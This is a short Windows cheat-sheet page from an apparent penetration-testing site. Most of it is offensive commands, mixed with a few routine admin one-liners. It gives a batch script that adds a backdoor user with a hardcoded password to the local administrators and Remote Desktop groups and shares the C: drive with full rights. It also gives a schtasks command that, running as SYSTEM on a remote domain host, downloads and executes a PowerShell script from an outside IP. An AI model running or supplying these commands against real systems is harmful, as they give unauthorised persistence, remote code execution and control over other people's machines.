Libertyunix
  • About.me
  • Getting Started
    • Kali Images
    • Setting Up Your Kali Box
  • CheetSheets
    • OSCP Fun
    • Active Directory
    • Windows
    • 802-11 Wireless
    • Enumeration
    • Payloads
    • Secure Copy Protocol
    • Privilege Escalation
    • Tunneling
    • Red Team Playbook
    • Oneliners for Code Execution
  • PenTesting & Red Teaming
    • Python for Exfil
    • Using MSBuild to Execute Shellcode in C#
    • Social Engineering Tricks
    • Setting Up Caldera & Atomic Red-Team
    • Discovering & Exploiting Buffer Overflows
  • Wireless
    • An Introduction to IoT Penetration Testing
    • An Introduction to BLE - Part 1
    • BLE Deep Dive
    • Proxmark 3
  • Hack The Box
    • Fuse
    • Blunder
    • Unblanced
    • Tabby
  • Threat Hunting
    • Threat Hunter Playbook
  • DFIR
    • Creating Windows USB for DFIR & Fun (DRAFT)
  • Talks, Workshops, & WriteUps
    • The Portable Executable (PE) (DRAFT)
    • Resume
    • Presented Research
    • Offensive Security 101 Workshop
Powered by GitBook
On this page
  • Adding user
  • Retrieving product keys
  • Which process is listening on a port
  • Creating a Scheduled Task
  1. CheetSheets

Windows

Adding user

Adding a user to the system as a member of local admin and RDP groups with a bat script

net user /add libertyunix L3tm31nplz
net localgroup administrators libertyunix  /add
net localgroup "Remote Desktop Users" libertyunix  /add
net share concfg*C:\/grant:libertyunix ,full
net share SHARE_NAME=c:\ /grant:libertyunix ,full

Retrieving product keys

Open low level command prompt:

wmic path softwarelicensingservice get OA3xOriginalProductKey

Which process is listening on a port

C:\> netstat -a -b
Get-Process -Id (Get-NetTCPConnection -LocalPort portNumber).OwningProcess

Creating a Scheduled Task

schtasks /create /S admin.domain.local /SC Weekly /RU "NT Authority\SYSTEM" /TN "taskname" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.211/Invoke-PowerTCP.ps1''')'"

schtasks /Run /S dcorp-dc.dollarcorp.moneycorp.local /TN "taskname"
PreviousActive DirectoryNext802-11 Wireless

Last updated 5 years ago